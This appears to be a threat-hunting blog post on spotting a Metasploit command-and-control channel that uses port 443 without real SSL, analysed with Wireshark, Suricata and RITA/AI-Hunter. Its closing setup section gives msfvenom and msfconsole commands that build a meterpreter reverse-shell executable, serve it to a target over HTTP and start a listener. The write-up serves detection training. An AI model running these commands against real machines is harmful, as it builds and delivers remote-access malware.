Bypassing Beaconing Detection with Metasploit
Now let’s look at T1043 which is the MITRE technique for an attacker using a commonly used port. This can be broken down into ports normally used for HTTPS, DNS and SMTP. This does not mean that the tool will be actually mimicking the actual protocol. It just means the C2 will be using a port that is commonly allowed outbound from a network.
The odd thing about this… is that it works. Networks that can detect this type of command and control are more often than not the exception. They are not the norm.
For this collection, we have the pcap file. The file can be found here.
(you will be required to enter your email address to access the file. Path to the file: ~/Malware of the Day/ReverseHTTP/2019-06-14.pcap)
We have provided the pcap file for analysis.
Below is a diagram of the setup:
This is a very simple setup. Also, there may be other interesting things in the captures as well.
We will start with a very basic Wireshark filter to see the communication between these two systems:
ip.addr==184.108.40.206 && ip.addr==10.55.101.237
In the above data capture we can see the communication between the two hosts. And, we can see that Wireshark thinks the data is SSL based on the port, and the data appears to be encrypted.
If you look at the Secure Sockets Layer data in Wireshark it will show up as blank.
Now let’s take a moment and look at C2 server from the view of NetworkMiner.
You will see some information relating to turner.com, please ignore that for now. These are artifacts from another C2 capture we will talk about where we used CobaltStrike.
The big thing to take from this is that the traffic is on port 443, but it is not full SSL. Many of the newer firewalls with protocol inspection have the ability to detect when traffic is not conforming to the standards of a particular protocol. In this example, the traffic is using port 443, however it is very clearly not actually SSL traffic. A bit later, we will look at how Zeek handles this type of port/protocol mismatch.
We can also look at the results of running Suricata on the packet capture:
The above command is telling Suricata to read in (-r) the pacp file, to load the config file (-c), and to give it the path to the rules (-S).
This will log the results to /var/log/suricata. Specifically to the fast.log file.
For the purposes of this post I know exactly what the C2 server is so I can drill down and see if there are any alerts from that system:
And, there are many alerts. Or, more accurately, it is the same one again and again. Unfortunately, it is not from our internal system and it has nothing to do with this run of malware. In fact, it is all related to “Outdated Flash Version”, which has nothing to do with this attack. But, it will become relevant when we start looking at the infections from the CobaltStrike C2.
So, as far as this IDS is concerned… There were no IDS hits at all.
By the way, you can get Suricata here.
RITA and AI-Hunter
Let’s take a few moments and break this down with AI-Hunter. We are using AI-Hunter for the visualization. But, RITA is running on the backend.
One thing we notice above is there is very little in the way of “beaconing” between these two systems. In all reality, this would not show up at all as a strong beacon. With only 310 connections there is very little in the way of “heartbeat” between the internal and external C2 server.
Also of interest is the fact that this connection is 443 tcp. But, Zeek did not say it was SSL. Interesting.
But why? This is because one way to get around beaconing detection, is simply to not beacon at all. To truly get to the bottom of what is happening, we need to look at the Long Connections tab.
There are two things that should stand out. First, the 443 doesn’t have the proper protocol. That is just… Weird. We would expect that any 443 connection to be an actual SSL or TLS connection. Secondly, the duration is 111:40:09. This is a very, very long connection.
Because of odd C2 behavior like this we need to look at all of these different aspects together to better understand the oddity of this connection. This is why we pull together the 443 with no SSL oddness, coupled with the long connection to develop an overall score:
With all these attributes it is pretty easy to see there is something very, very odd about this C2 traffic.
Hope you enjoyed the write-up.
Below Are the Instructions for the Setup:
First, we will need to set up the malware. For this, we will use msfvenom. There is a great cheat sheet here.
$ msfvenom -p windows/meterpreter/reverse_tcp LHOST=<YOUR IP> LPORT=443 -f exe > funtimes.exe
$ mkdir meterpreter_reverseTCP $ cd meterpreter_reverseTCP
$ python -m SimpleHTTPServer 8080
- Put Malware Sample on Internet for Target Access
Once Target has executable malware sample:
$ msfconsole >use exploit/multi/handler >set payload windows/meterpreter/reverse_tcp >set LHOST <YOUR C2 Server IP> >set LPORT 443 >set ExitOnSession false >set verbose true >exploit -j
- Begins Listener
Once Listener receives communication from staged payload on Target:
- -l – List
- -v – verbose
sessions -i <ID>
- Usually session 1
When done with Malware Sample:
- Close active Meterpreter sessions
Ctrl+A then K then Y
John has both consulted and taught hundreds of organizations in the areas of security, regulatory compliance, and penetration testing. He is a coveted speaker and much loved SANS teacher. John is a contributor to the industry shaping Penetration Testing Execution Standard and 20 Critical Controls frameworks.